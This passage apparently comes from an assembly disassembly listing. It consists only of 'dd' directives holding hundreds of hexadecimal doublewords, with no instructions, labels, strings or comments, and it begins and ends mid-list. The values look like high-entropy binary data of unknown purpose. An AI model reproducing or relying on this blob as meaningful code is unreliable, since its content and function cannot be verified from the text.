0CD07E05Ch dd 8007418h, 936664Ch, 0BBE430EFh, 0A33D58BEh, 43D089D1h dd 2E8515Fh, 1BBC761Dh, 0DD12A7E0h, 0F85DDF03h, 88A00D41h dd 0FCCDB379h, 931C98F5h, 0B69180B4h, 48154AC8h, 1498F678h dd 0BC962B4Bh, 2C254411h, 0E844C925h, 4A173628h, 3E74813Bh dd 4CC9014Eh, 80F44B3Bh, 60EAB810h, 0BC2CB6FCh, 67406892h dd 4DBA23h, 1E3BE1D7h, 5B89782Eh, 0FE6A2600h, 2B35BE3Eh dd 848E531Bh, 0A3800059h, 0E3CAB7F9h, 9031E014h, 828F83C8h dd 0E99BA1D0h, 2DC4A0A6h, 67878C10h, 0E60326E4h, 9008892Bh dd 0DA293C8h, 0EA7BF860h, 0A2D03830h, 1450299Eh, 2528BB05h dd 91814F6Bh, 0F822514Ch, 0E29F3800h, 6A52930Dh, 0D0357426h dd 77FF6106h, 7A431221h, 44C488BEh, 0D30EED00h, 0B7FB9A04h dd 0AFDF021Ah, 0F85B2F7Ch, 0DB0018F1h, 9D2B824Dh, 54D800FCh dd 0A2FAE49Ch, 94006993h, 24BF5CEEh, 0A6403Bh, 480FE6DCh dd 9ABCA38Dh, 2E00DAFAh, 28B70D7Eh, 0E63FAD40h, 0C4EB0FA2h dd 97807C3Dh, 0EC152308h, 0F28A8104h, 1780D41Bh, 27413FDEh dd 0E0C43E95h, 57A31E00h, 77948197h, 9E4950B5h, 58D13FB4h dd 0D5603980h, 854EBB5Bh, 0C5801A0Fh, 6ACB82CAh, 404475h dd 4A37BC87h, 0E460C4C0h, 0BA211B01h, 0E67B49FEh, 1F0C33D4h dd 8B26A2h, 41F79299h, 5C014A8Fh, 0A775B1EBh, 98804E59h dd 534F37F8h, 0F1008083h, 4CD5D218h, 1DBCF90h, 37AD588Fh dd 7013914Eh, 4B76221Ah, 0DFE42B50h, 9CD41C07h, 7AF1FDB4h dd 0F0515A06h, 0D9DCA29Dh, 0A07C03B9h, 802AB456h, 0E93B0800h dd 3E7D1D85h, 428890F9h, 7C2B2041h, 0A67B3B96h, 0A7196CB0h dd 2A00700Fh, 660A527h, 1712FD7Fh, 0D0786B23h, 0E4A03E78h dd 0E9F78001h, 2C73D84Ch, 7CC480A5h, 0CBC4BCB6h, 5633D840h dd 1D0019A8h, 3FDF1294h, 9D7B942h, 99DA4D83h, 0C4C2E82Bh dd 0BA9E585Bh, 4D9CBD80h, 3B0146A6h, 3F034797h, 0ACC5BCE9h dd 44CF6BF9h, 210CF2DCh, 0F9C30F2Bh, 247ADB20h, 84124016h dd 78164B04h, 0C72E782Eh, 0DDA691A4h, 5C77C380h, 0B666681Ch dd 0DA7D8410h, 0B508E8F9h, 99C07887h, 1AF8455Fh, 6064F23Eh dd 0B40250C0h, 1CA640B6h, 5A07BCC4h, 5071992Dh, 4E86F290h dd 0DB2D31C0h, 0F0486032h, 748F163Eh, 0D4B7ECh, 22FA950Dh dd 0BEDDCEA1h, 0B692811Ch, 20209966h, 3703A3CCh, 0DB22FE44h dd 0D9A09802h, 721B0A85h, 3B3C19E4h, 0A280A4D8h, 4BAE4503h dd 88090DE8h, 802D7934h, 51262C88h, 0BB66005Fh, 0D5E3B80Ah dd 9024A83Dh, 3E02B8A5h, 417220EDh, 88D01764h, 281B03FBh dd 45BE7778h, 0CB2CADE0h, 30C07030h, 724E3991h, 22BB090Bh dd 0A072E772h, 654010BDh, 38B102C5h, 79A19D51h, 605AD4C2h dd 2DA35803h, 0F0E81DBh, 91358439h, 0F68BD481h, 0F8237E74h dd 1E9FC016h, 9835071Bh, 4CBA3B64h, 0D5025B49h, 7B9E4A89h dd 8C54DCCCh, 8A216FC9h, 8008776h, 0AF709ECBh, 0BF4A0A2Eh dd 550FC8Eh, 54F6EBEDh, 22A83810h, 0BC757E77h, 23054448h dd 2D53F843h, 0D569197Fh, 0A56C50BDh, 793C8B11h, 0CA2600D4h dd 7765E1A9h, 29A40F02h, 5CEC8564h, 406864BCh, 5B4D6D73h dd 0D87C1F9Ah, 0E2EFD2D4h, 33824B4h, 6D910D00h, 25932D0Ah dd 0AC249C18h, 7DA140E3h, 0EE393Bh, 0CF2A608Bh, 0FD905729h dd 0C325BF12h, 0A2C994A2h, 0B3E84080h, 354C2D3Fh, 82B40768h dd 0C9823C15h, 8B4854E9h, 0D865726Ah, 0EDDAFB00h, 262E4C0Ch dd 2FC66A85h, 8DF3CC00h, 0F8784703h, 59FDB100h, 9FE80C05h dd 72381317h, 4B80F4E0h dd 0D86D2938h, 0D3127CEDh, 94A283E6h, 0C04E3525h, 35D5400h dd 0B4EEDC48h, 0F18F00CCh, 56B3D9EDh, 54804AFh, 0E25E047Ch dd 1A0373C6h, 111451D6h, 62149BE6h, 24F2EC88h, 0E584822Fh dd 1E04D444h, 2D099742h, 0C708608Bh, 0E78B1681h, 3B887904h dd 6450CCCDh, 0D94A0046h, 966B038Eh, 0A803872Ah, 60E78F36h dd 441B9A3Eh, 2AB200h, 7B482EC3h, 0DD01A083h, 4C12C64Eh dd 0C15C2815h, 42229DA5h, 198F8DBh, 283BB008h, 98437D3h dd 0D857C51h, 873CF0F1h, 3295654Bh, 0CB453541h, 4E2740E0h dd 0D204999Dh, 2362B20h, 0A93A0018h, 0C2E0961Ch, 0C63EFDC5h dd 62E8804Ah, 0F687D163h, 2F157CF5h, 0D0E66EA5h, 0EA0014EEh dd 6B39523h, 3DCA5Eh, 0BCDEDCF0h, 0B6DBB90Dh, 6430242Ch dd 6270BA2Dh, 4068DE03h, 0AD714EA3h, 2001FC90h, 0C8A45CA0h dd 0C225642h, 8D05FE22h, 0CF3973C4h, 0A35E5BC0h, 4A4E17C8h dd 94D84981h, 35744072h, 78B2548h, 0E27769E8h, 9DCEB790h dd 450200DDh, 0E73F8980h, 0F914D059h, 82F04D23h, 982B7B6Bh dd 3F41AEACh, 830020FFh, 8505547h, 0DE70119Ch, 0C2853914h dd 2E68BE0h, 0FD55F860h, 0B84015C2h, 81171C9Fh, 0C40086CAh dd 763AD48Dh, 74834CD5h, 0A2160842h, 65C4208Eh, 0C7950E05h dd 2AF180ECh, 29926281h, 4885262Dh, 289E0B0h, 108E0839h dd 0E859E8C9h, 0EC279512h, 0FB3E1183h, 0AC79D8B6h, 34690084h dd 0D6B035DFh, 202C1B9Ah, 0DD00863Ah, 0CB924CB1h, 0A89D00DBh dd 1825AC4Bh, 0C003A2Eh, 93994895h, 8444F7h, 0D8268627h dd 0B14CD2B3h, 0A3832B00h, 43A27B03h, 3BF9148Dh, 0B70DBE89h dd 4208A610h, 2BFBCCh, 0D9C839Ch, 0B05E03BEh, 0CCA0326Bh dd 1EACB2E4h, 0E21C0C15h, 7CE771C4h, 0E909E4E9h, 6C182DB1h dd 88FCA51Fh, 0D8E23807h, 0CB809A19h, 0EFBF0Fh, 153B5E25h dd 0A954929Fh, 0D9E404B5h, 2A4DC931h, 80228C22h, 8FF06B0h dd 86E600BEh, 232BCA3Ah, 0FA01D173h, 66E9EA8Dh, 207B8C2Ah dd 0FD4F6DC0h, 4881F700h, 9272C050h, 10532633h, 6381FE7h dd 691304E6h, 78CD755Eh, 0E988222Bh, 0FBE59874h, 92C0BCFCh dd 0C83A8597h, 9041B660h, 6F6382Ch, 3E41E7B7h, 0B15C20F9h dd 199AB2BCh, 604861E8h, 0C58874E4h, 866A00E7h, 5326D525h dd 87005E52h, 0DDC3EB9Dh, 1A9B26Fh, 98D8E640h, 31F958A6h dd 0A322FA90h, 0C0B07406h, 0DA732F35h, 38F1E102h, 7C108FE8h dd 0F4C14E48h, 0D825FDE9h, 750062C3h, 371EDAB5h, 5B7B7F71h dd 0B18DCDCh, 0BD22D2FCh, 11086066h, 0A323E564h, 1599D4A0h dd 40FAB700h, 0E2AF55CAh, 442912A1h, 9B8441F6h, 7EF8EC81h dd 0B0A2B074h, 5380D700h, 12BE260h, 0BB958B01h, 84A0B46Bh dd 7CFFC0h, 81B00D19h, 0A1D5FC12h, 7B4E371Eh, 4CBFD24Ch dd 0EE4C0462h, 8089DBCAh, 18248BD3h, 0C8818D2Ch, 4BF95903h dd 2FAC153h, 16808430h, 88A0BC2Eh, 305B82FCh, 17570FCh dd 8FABEAFBh, 0F47C810Fh, 2C24CEF8h, 8C11A40Bh, 83482530h dd 0A100FDAEh, 1AAFB3E6h, 0D3246Eh, 4FB632C7h, 0E8D0C59h dd 0DF934001h, 0D53EA16Fh, 203E6C71h, 63E8BA94h, 2A533000h dd 0C1C94D03h, 3A4900E3h, 4078737Fh, 9A4ABC66h, 0AE457820h dd 0C8A05C47h, 9D0C8C0Ah, 90402708h, 0B0044943h, 5BCC76E7h dd 9A2C8400h, 65F7060h, 0CE8F435h, 91C43E80h, 661C6EE3h dd 2C47F85Dh, 2DA66D47h, 0BD9913E8h, 0A7ACB4ADh, 2473E440h dd 64E8EBD9h, 0B8BC2444h, 3CCF4280h, 8A00DCE7h, 0D6907546h dd 489DE210h, 28A714FDh, 2013F058h, 0C49C0526h, 737A5900h dd 59B23AAh, 0BBA2EE70h, 2168FC4Eh, 44850BE1h, 57E84084h dd 610FE8A3h, 2D200A79h, 6CCEA3D6h, 69CA7300h, 0F314DC1Bh dd 87C8DE57h, 3FE74577h, 0D6A2D9B8h, 48988258h, 0F3F8D85Ch dd 16298866h, 0C4E84128h, 0CC1D9926h, 986E840Ah, 5CC68500h dd 0FB40C8B3h, 0B7FBA980h, 77EEB6D3h, 0D197B4A0h, 5DA1DB0Ch dd 880128BBh, 0F34E7A6Ah, 0EC18C8h, 74B911BFh, 5CDC3B55h dd 0A730B264h, 15C90D21h, 0A880CCA8h, 0F940F63Eh, 220BCB01h dd 0B230E5ABh, 88E85902h, 5CB949E7h, 1ED96A98h, 58481CB0h dd 42D4006Eh, 0CA9ED53Dh, 16557D0Fh, 0C9D9A404h, 6C1401C4h dd 0CC0F0244h, 2FCD05E7h, 0D235AE20h, 2D602483h, 0C8F74B38h dd 8CC4224Dh, 0BC7DE726h, 6C3FBD42h, 0F9DA2D70h, 3B082C4Eh dd 467127C8h, 7A121134h, 44F8589Ah, 4D6D2C80h, 0A007E2D0h dd 543C3418h, 1BA89350h, 8E15162Fh, 0E5A00FA7h, 0BC008FEBh dd 93E16994h, 0B463232Ch, 6BDC3807h, 0AC44E2C5h, 6C477F90h dd 7B2CFC2Eh, 0A6654D00h, 3AEE5314h, 2B9F003Bh, 0ADDDDFFCh dd 18900658h, 0FCE3404Bh, 0E3F180Eh, 6BE4CC80h, 0F1D63178h dd 279670E0h, 64C44BC8h, 44E044h, 0C02BDCC4h, 3CB578E1h dd 2616617Bh, 0CC23A9Bh, 6980DC23h, 90901C8Bh, 0F1EC2DF9h dd 2414E812h, 58D460ECh, 2881F7C9h, 0D0DB6648h, 5000810Dh dd 0A03AAF56h, 0A15D959Eh, 5AFAB354h, 6B7C0028h, 0EBCE7E44h dd 9B09478Dh, 0A03C76ACh, 8263A398h, 0B55609A0h, 2446913Bh dd 0E2610800h, 0B2424A57h, 621A0275h, 0C4229B91h, 0BA015859h dd 0CE0C2E5Dh, 99C880E7h, 30EA0158h, 0D1B33B17h, 6EC0C733h dd 1F0546D9h, 15D801FEh, 0CB1BC880h, 234D2440h, 0D8642578h dd 0EB217143h, 0D1AE9509h, 18D914E8h, 3820B77Ch, 0F57D699Eh dd 0D02DB304h, 5C9970E7h, 98AB0AE8h, 73450932h, 5CEEE8ECh dd 57F1BA07h, 97C0FE0Ch, 7CF2FD70h, 7A5A0036h, 0E85E81B2h dd 87182AA9h, 9F9903C8h, 9989914h, 9079777Dh, 42F17E08h dd 9F216641h, 0C9BE3295h, 0B4C5E925h, 0A961480h, 0FCBF4449h dd 0BBB90050h, 679D21CAh, 7A3CD571h, 0A7233CDEh, 0E0F8E882h dd 0AA30B88Bh, 8348418Ch, 47C4203Bh, 5D006939h, 40BEA4A2h dd 1438A31h, 0ECB4F737h, 700F731Ah, 0C45ADE98h, 0B960A827h dd 1F879CAAh, 405F506Bh, 81072B64h, 3E00B219h, 0FB01F47Dh dd 0A48E683Fh, 0D79600C8h, 771E7FA6h, 0A9076066h, 0EF6EC67Ah dd 796B2880h, 301097FEh, 7B88F2E5h, 9EEDF088h, 204E444Ch dd 4F49EEA3h, 87180912h, 0BD7C245Ah, 8C1A9910h, 4D10B9C8h dd 8D24DC38h, 4053CBA4h, 68007011h, 0A15A6177h, 55776753h dd 0EE32C00h, 14DA8F0Ch, 0E7A713C9h, 27C3072h, 0AE2CC1F7h dd 7F0090E6h, 0AD201E4Bh, 605FE832h, 2CD3107Eh, 38001102h dd 0E345B4E9h, 13CC755Dh, 0BA4073Ah, 70FBC700h, 1E57F80h dd 247730Ah, 0B790FE10h, 615D268Bh, 507BB0F1h, 60578098h dd 205F144Ch, 3B2B34FCh, 150EAB12h, 94A81058h, 3DD800C8h dd 0BB4CA0C5h, 6C7D57CEh, 0F4318F26h, 324452Dh, 478AE48h dd 887A27C8h, 538890BDh, 186C9D85h, 4EB1C805h, 80AA9465h dd 55381CBEh, 0D8D3C503h, 0C8F7CB7Dh, 95DF8476h, 81F4861h dd 0BC79C072h, 355D7624h, 0F250FC0Bh, 738B20A2h, 64CC09C4h dd 433B38D7h, 0B3A4BC9h, 0E1666AA9h, 6802C73h, 3FAD0E1Bh dd 928A0939h, 180089EDh, 0D7076CDAh, 37846D0Ch, 40CED05Ah dd 7CBC2C9Ah, 7640843Bh, 0B0C5A3ECh, 84440088h, 25E67E21h dd 0ABB8010h, 58E85500h, 0DD9DF909h, 0DCFEA049h, 0A0BA004Ch dd 6C993103h, 9F2D7868h, 0D83833C3h, 93AD1D8h, 5DFF661Ah dd 77000844h, 0EB0BA852h, 0A12ACCFBh, 418EBF84h, 61604338h dd 30061454h, 0A3D0A565h dd 11D6D05Ch, 2101EC32h, 8433D93h, 7A8804C3h, 0AF6CE99Bh dd 20FEDC72h, 9619D995h, 64040E00h, 0D3462203h, 119C0C38h dd 673974F6h, 52756A88h, 6822C8CEh, 4C111200h, 2DABCDF7h dd 9D380C71h, 0EB07830h, 9C4434A2h, 64478102h, 0D9110D7Fh dd 9366003Ch, 0CAFBD4D1h, 1069800Eh, 0B632C0E1h, 0D647F3h dd 60DD1B3Dh, 0EEB0AB0Bh, 1F7C9C13h, 1979CC32h, 9090084Dh dd 0A97165A0h, 0ECBD2Bh, 62A76192h, 655B2h, 0DCEF9C57h dd 76956C82h, 18A0C0A4h, 0FD4CAB9Eh, 98F72270h, 0EE8F0BB0h dd 0D800A007h, 412A5ABEh, 0D073CC09h, 20E858B4h, 10B7FD15h dd 726B820h, 124D968Ah, 0DF53E0AFh, 3F00C5D8h, 5951ED3Bh dd 0B0F5078Eh, 0A7744B20h, 0AC6201B0h, 811124B6h, 5CE46DCh dd 0DD3B30B3h, 34E8B1h, 0C89B297Dh, 1272E531h, 0E83E992Dh dd 37B28138h, 0E820DB7Dh, 0A58B05FCh, 0A341B463h, 0B14B1314h dd 419F2CF2h, 3014928Eh, 10D82839h, 0C84A47CFh, 0E88CE434h dd 64FC5812h, 0F800803Eh, 0E4704E71h, 2400FAC0h, 0EC672BF7h dd 16E1F9CBh, 497A0779h, 2852C800h, 97535B00h, 23039E16h dd 0D6DB02DCh, 0F8EC63A4h, 0A36710C5h, 293A787h, 0C0E0EDF2h dd 9E8D88D0h, 2B5CF62Fh, 0FCF1A0h, 0C576254Eh, 0DD00C639h dd 0ECCD6BDBh, 0D3626EB1h, 154A2A0h, 0F461C570h, 0C1C48A86h dd 2E7A9Eh, 0C7F7D724h, 0D68940Eh, 4C904891h, 712F00D3h dd 0E85DF28h, 0AD84500h, 0C006F0B9h, 0B2E639B7h, 0B27926h dd 0A85BC91Bh, 6612AB17h, 8F82DBCh, 8069A280h, 3FE0D8E0h dd 8871B979h, 757E6D00h, 0D748F01Eh, 0B484A036h, 58130076h dd 68963AC9h, 8C809B7Bh, 9DF40287h, 6EA429EDh, 0C051D0E2h dd 9860680Eh, 12A52129h, 0F3C84106h, 3448A8h, 1256FDFEh dd 0A025A108h, 0D3FFF768h, 0B0D40419h, 5423EAC2h, 0CCF3AC91h dd 0CA37E300h, 222DADF4h, 0E0A29D00h, 0CFEF52FCh, 8C393962h dd 3F10CC80h, 6B6960Ch, 0E05F6100h, 0DCF31172h, 2E842CCDh dd 0DEC000ABh, 0D0D827CFh, 0FC00B176h, 8D1A08FAh, 5CF958B0h dd 5180E895h, 968BCF91h, 54E1722Eh, 0CCA0BD61h, 66015433h dd 918F6FDAh, 114038F5h, 50158F7h, 0BE60A00Dh, 10252F2Dh dd 448A84FDh, 2AAA0580h, 28A8B5C3h, 613B8F94h, 119FAE9h dd 1351EAECh, 0B80781B2h, 914AC198h, 1E7B71AAh, 0F83E0124h dd 81CF7CE7h, 0B7DEAC21h, 0E090DCFBh, 40F72711h, 0FE1ABE2Ch dd 0E7B5001Eh, 5F730609h, 1302E12Dh, 786AC4F3h, 21585229h dd 0DE4B7E42h, 0F9B200B7h, 7AAFC0A2h, 1D4DDB00h, 9F1813F5h dd 0A6F3005Dh, 9C776133h, 0C8A012A2h, 0C84DBC5Bh, 88148EC0h dd 0B4902D42h, 0FE007644h, 0A0F1BAA9h, 0EE64F394h, 8D83099Bh dd 107449E6h, 7F4E250h, 5DEBE0C4h, 0B9FAF0FCh, 0AB0FDDD2h dd 2449817Dh, 48CC18E7h, 0D5268EE6h, 0E789C8D1h, 50E45E4Fh dd 2500F5C5h, 99569B6Ah, 2CEC05FCh, 12E8683Fh, 44E421EDh dd 54801272h, 6DDD8060h, 57A948EAh, 764B0501h, 0DC6A690h dd 0E73A60F2h, 7164671Bh, 49B07A75h, 91403C76h, 2659A55h dd 21062E78h, 8E5F2502h, 9F6EA1B9h, 0F061497Dh, 0EC146Eh dd 7527CA22h, 1DC490E2h, 676A25C3h, 0B498C412h, 3B001E9Dh dd 349C4784h, 2AEA39h, 0D1C10B32h, 0A59D5F17h, 0D0452D27h dd 58A0026Ch, 3CCB5649h, 106F48C9h, 0E64D1EFBh, 0CD4B05A6h dd 2F32FE8h, 0F819F5B0h, 630078CEh, 0EC7767DFh, 7C85E48h dd 91BD08C2h, 0C0315CCh, 80B88468h, 0B78058BCh, 0AA445CAFh dd 0FB010458h, 0BADC3814h, 570DA420h, 41BE04A8h, 8CABF4F7h dd 0AD0EA3ECh, 0AFD5893Fh, 2046E406h, 0F9022CF8h, 6317695Bh dd 84F1E462h, 142EF807h, 2F62AC71h, 117CD8h, 0ED242987h dd 4B48AB1h, 0F4784CB0h, 0AE351800h, 7C43846Eh, 0A3F1EFE7h dd 2280707Ch, 0D89D503Bh, 189BF400h, 0C3B2154Bh, 1720227h dd 2EA2071Ch, 285B18E0h, 0E5C54705h, 0C0849E09h, 2BBE0844h dd 258034F8h, 60F63856h, 6322A300h, 5699532h, 74833F84h dd 0E709C0DCh, 4CA0FA04h, 0B3BC6012h, 92E0A14h, 0FF9D00AAh dd 616EA0E6h, 36F12647h, 0EDF50300h, 1800E0EAh, 8E4E89DBh dd 0E3EF95F8h, 3E00F268h, 0EA683A55h, 0DA007F61h, 0B940F506h dd 0AAC233h, 924DA816h, 88FF48C1h, 0BFE48B01h, 8E12A9F7h dd 507D409Eh, 92490824h, 0F44F06DFh, 4C011935h, 65C804A7h dd 0A8845783h, 2AE3116h, 2D324Fh, 9F0ADC9Ch, 5A305C60h dd 0DD66C8h, 73A034F0h, 920CFB1h, 29408662h, 0D17487E0h dd 3C6644C8h, 7AD380ABh, 20F12544h, 0F08057Eh, 0FB2AE903h dd 0E638C8E4h, 798FB700h, 19C746E1h, 0E2E74B72h, 0F6C817B0h dd 7F25E0F2h, 29924079h, 0FCE3BCF0h, 47ECF631h, 75C901F8h dd 38042F11h, 0EA4DE860h, 58CFE83Bh, 479CD892h, 20DBB91Eh dd 7985FC36h, 0CA2D2B3Eh, 7CF254C1h, 6E5F9800h, 81004B0h dd 171D1164h, 0ECBEC0E5h, 6570434Ch, 4FE24B80h, 48C5FDh dd 17CF8B00h, 0B700C3F3h, 9A4E202Bh, 1A785D5h, 7A148C6Eh dd 4E402329h, 0C0481120h, 756BF881h, 225433ECh, 91290F63h dd 2AAF821Ah, 90F6A509h, 61510C40h, 10FA00E7h, 82DFBBFh dd 0D83C6540h, 958808Eh, 0A6DFB120h, 15C2072Ah, 0E65988D5h dd 265C41FDh, 0D7017931h, 61EDDB3Bh, 0F8401928h, 4B29C312h dd 0F81CA494h, 2AA45A03h, 0B945BF73h, 8AD0F1Bh, 0B2DAE8E8h dd 836A42Ch, 6A137611h, 0A02CB80Ch, 23C41ECh, 75A7208Ah dd 0E923184Fh, 80EDEABDh, 0A876BF90h, 8C18C674h, 431C3804h dd 0EA0CBC90h, 41F8206Fh, 98618075h, 903D5948h, 6211C0CEh dd 0E822B33Eh, 51D82C26h, 7A082519h, 31024h, 780BB336h dd 0AD53DD4Eh, 80ABE609h, 2EF4828Eh, 1610401Eh, 70BC3940h dd 253DE8CCh, 5F187540h, 4A8045B4h, 66F70D59h, 0D8107690h dd 87009B98h, 748175CAh, 3108D47h, 0D00C8E83h, 7E003FB5h dd 796A09C3h, 0ED803BDh, 6E5DAA52h, 4FC000DDh, 0EA4AFAE6h dd 0BDCAA700h, 66E5A2F8h, 4D9C005Ch, 348C1FC8h, 7C3BA80Eh dd 0C4949655h, 72B9001h, 3EF8A0CFh, 0B67DBDh, 0FBC53C0h dd 0DD82303Dh, 7041C5FFh, 700AB5Dh, 1DEFE1BEh, 70129Eh dd 47096E83h, 8E7C7F11h, 7A3DE500h, 6D99F6FDh, 0BC7150C4h dd 86ED307Eh, 609A41CCh, 1749EC00h, 0DD8D4205h, 97FB0099h dd 6A74D795h, 0EA634B45h, 4A5930h, 14AAB108h, 9025FF91h dd 0BEC70B01h, 0BD312E5Ah, 3C3BE1DCh, 40E0E598h, 71ABEEC2h dd 6DDBC80h, 0D03BD14Dh, 105B6143h, 880390B8h, 127EB187h dd 0CE1A2780h, 6F328E01h, 8C974CDFh, 51AB08F0h, 0FBEC0C4Fh dd 10EF0404h, 207C5FD8h, 0C03ADC3h, 0B80E9C92h, 160020E9h dd 0CB808512h, 0D68D9Bh, 0BE6D0874h, 400730D3h, 75D97F60h dd 0B4D3616h, 0BDE6EC25h, 33E5C380h, 4707EF3Ch, 915859D3h dd 0BA2F2641h, 98E749E4h, 6A8932E5h, 3FE04619h, 96138809h dd 66075058h, 9340145Eh, 4048D3h, 0C5FDE8AAh, 25D8BB9Dh dd 525DEE03h, 7DB61F0h, 375E1518h, 53DA9035h, 9DF0161Fh dd 38C4C13Ch, 0ED118FBFh, 0E2DDC359h, 46580026h, 0B9FE36B4h dd 411C0A38h, 0BD0F9C40h, 184C01F6h, 28BE315Fh, 86ACA407h dd 6842C0F5h, 99C03E6Ah, 6E17E357h, 0C5D40041h, 4340ADDAh dd 63EEC67Fh, 0F0BF0303h, 0F8FCC439h, 0C8262D1Fh, 1583F980h dd 77AC70B5h, 2FE90070h dd 2C639D90h, 8960BCA5h, 0C8DA7818h, 0F82078FFh, 58447876h dd 96015D0Ah, 0A34F5140h, 0A7B5303Ah, 16CFA4A0h, 0D2496E14h dd 0B9E40848h, 1DE841C7h, 119840FFh, 0DC038A14h, 2A7D390h dd 23E87A89h, 4942F688h, 0C1001CD2h, 0E15E120Fh, 0CDAFCD7h dd 0F32640B9h, 0C9306868h, 22BF4825h, 24BC3F8Fh, 520B8E87h dd 0AC9491B4h, 7EA02B42h, 79F6008Ah, 0C2DBFF4Ah, 13E8C1B3h dd 3B93D9C3h, 0EE91002Ch, 51F366A5h, 0D10089EAh, 0B2C3622Fh dd 3D5BAA0h, 0FE743439h, 0EAC24852h, 0BB4C3048h, 97412160h dd 52C078h, 5C9A7B54h, 0E4AD0BECh, 82AC9C05h, 0ABC3FA18h dd 0E7972D5h, 34F7C2FBh, 0D443EA80h, 0C70092F6h, 866C5952h dd 30DA110Bh, 2E31D209h, 9674BCA1h, 0BB60F200h, 764C4F40h dd 185CF4DFh, 89203ABDh, 0B61F01FDh, 0E02D632Eh, 0E0D4A3E0h dd 0CE6D0D11h, 0D829223Ah, 400076E1h, 0EB3DED38h, 177454Ah dd 0A5C3A2BDh, 0CEA1DCh, 3172526h, 8B15A618h, 0BA804351h dd 4D00D9FAh, 0D058BD39h, 614B52D3h, 1EA8190Ch, 6079E42Ch dd 302421E9h, 0A155319h, 0DCC876h, 0D8AA0674h, 90890DC4h dd 0DA560F21h, 0F2007684h, 28FC207Fh, 95825D00h, 93BBB375h dd 8DDB1AECh, 41410EAh, 0F160E9FAh, 49CEDB30h, 5E7A0009h dd 0AE8A12EEh, 0D50EAADCh, 86EAB011h, 22288016h, 62444A8Dh dd 670E013Eh, 0B7117B30h, 690CE025h, 44A93600h, 9C6135B0h dd 0A57D00CBh, 5BB309E8h, 521E01DAh, 0AF52ECDCh, 2959CBC0h dd 3E730088h, 0A1C4CD4Bh, 0E900BEE4h, 0B958FE8Ch, 3F7907h dd 0B4D0788Dh, 7C967A5Eh, 1E19DE00h, 0FEC49369h, 0CDBE3C60h dd 238E5A80h, 0AB43C835h, 34D358h, 0D58DDDC5h, 3DF49Bh dd 2DE65B69h, 1644F6FCh, 9800DCFAh, 591EC3E4h, 0B06DD3Fh dd 0BDC23CBAh, 236CCB80h, 76159217h, 0A0DABCh, 714CE9BFh dd 0B89F9Dh, 0BD1FD029h, 7F786706h, 5048D437h, 0E6003305h dd 13ACD7B8h, 0C728003Ah, 74FF4DC1h, 35007283h, 9B2F936Fh dd 7739EFh, 0C71A3C42h, 7BFD5509h, 0B7CC0A00h, 78DBEADFh dd 258000EEh, 9747A31Dh, 0D400F018h, 95D9DE83h, 724484h dd 8827B7E4h, 37D725B2h, 5FE61906h, 7550A4C4h, 820C004Ah dd 1EC13306h, 3F0F0353h, 60D59DE1h, 553087ADh, 7D5C092Eh dd 1400A159h, 24A4E888h, 403F9E00h, 960525B8h, 350C00FAh dd 1C3AB74Fh, 33031FA7h, 0D6643F63h, 3941B0C4h, 87C50D4h dd 0D7381C72h, 4797DEE4h, 0B0E29198h, 0E98A0466h, 0BF00107Eh dd 0E49EEB2Fh, 64A486h, 0ED9CF051h, 28949BE7h, 80484938h dd 2A18B77h, 2CF96Ah, 7B1782B7h, 6C70EEC1h, 0AE5C2400h dd 2BB0EF98h, 0EA7C0053h, 48E547C5h, 3B7C54DDh, 0C3E07751h dd 45ACDAE8h, 5C003D75h, 0A20D8815h, 0E4805Bh, 3FF9DCB1h dd 9268C9B9h, 0BBE9CE13h, 3770C703h, 0A79DD884h, 7D343996h dd 5F921E04h, 605C9709h, 40FDF985h, 589F1C00h, 0C2A9B939h dd 8DF20022h, 6DA6365Ah, 52EE63F5h, 190F07F6h, 0AEB9B19Dh dd 7E00F73Ah, 0CBCA12D7h, 9190E9h, 73FEA475h, 9EE15D0Ch dd 48293C00h, 6095E8C4h, 9B5A00E0h, 0DA4766B0h, 270764C2h dd 906C1445h, 0E0A1B660h, 0F3BD008Ah, 0ACD3D157h, 8C0054C1h dd 50424D2Eh, 0B733E4h, 2B08A91Eh, 82DD7075h, 63925400h dd 8A35B1E7h, 0F61200F8h, 6E98D3E1h, 0A6C69FBFh, 0F2B89CF2h dd 2634C57h, 0B80CA100h, 64BFC161h, 0F7B3E51Fh, 91F16A40h dd 7C9AEEB6h, 177D8Eh, 26614F3Fh, 0F17D1E84h, 28F48500h dd 4B33365Bh, 0FE51037Ch, 0CD359F71h, 8FABD2A8h, 0A87BC300h dd 0B19AEF72h, 33B206D5h, 785A93D7h, 0ABD422h, 713B5F7Ch dd 7FD901F2h, 2D551F00h, 9861CEC2h, 0F9511EB5h, 8D6A838Ah dd 1100E9B3h, 9F7ECF5Eh, 1DE237F8h, 8035A147h, 9D2DDEF4h dd 923BD7EDh, 1D0B00C6h, 0A3BAA5C2h, 0F4AD002Eh, 0E1C92575h dd 51003FE4h, 0C057CD5Ah, 9D5FD5h, 4090CC85h, 0C1276529h dd 0BAC91900h, 0AAD6B8DEh, 0E447508Eh, 0D1A603E0h, 993BC16Eh dd 22E7C9C0h, 0F2E0CA77h, 0A4007CF6h, 3C57E940h, 0BD85A5F3h dd 183AA558h, 95320008h, 0B7E8E5B1h, 0B9C6020Ch, 0ABBBCDDFh dd 9020D860h, 0A2092A1Ch, 0E661F5C0h, 913D13h, 978B60A8h dd 0C466E8F4h, 6B3AAC00h, 0F7369BC2h, 65380095h, 20E78D33h dd 62703D40h, 1EC2D25Ch, 0A0C12A46h, 850EFB42h, 0AEBFD880h dd 0F37CCB2Dh, 4E4A8B07h, 0BF790FEh, 0EFDA2AB3h, 0A678A1C0h dd 31AA1D29h, 7B740041h, 8981B73Fh, 0C20013F4h, 0C91DEFB6h dd 2D9507h, 15557596h, 0DF4F67C8h, 0A98E1000h, 0C9A6006h dd 3DCC00BFh, 0F81EDCE9h, 290083CBh, 457B9D56h, 51C81753h dd 1AD8AEF4h, 0B5AA000Bh, 9D1E6AB3h, 0A21279F1h, 18402891h dd 20760834h, 0D85503CBh, 0DECAF07Fh, 0F130C0F5h, 0D001EE3Eh dd 51C6C424h, 8403BCCh, 0FD758C5h, 0DBCB2180h, 5BB93118h dd 5807103Bh, 0C8C8543Ch, 0A8008E98h, 62E7D66Eh, 0EF51EBE5h dd 2BFD40E5h, 70A68986h, 5CF030D6h, 0FD4B0E00h, 0E94AF667h dd 188FEB88h, 831E9E6Ah, 0B44F5BE5h, 7EACC9F8h, 2549EE07h dd 68468A21h, 1D4BF050h, 286642E5h, 0FFE0C44h, 2671EF5Ah dd 0F768A000h, 0E2368D6Fh, 0A14A0EAh, 5D49028Eh, 0ECE1FC10h dd 1C480C81h, 0E7F85169h, 0B6C8A83Ah, 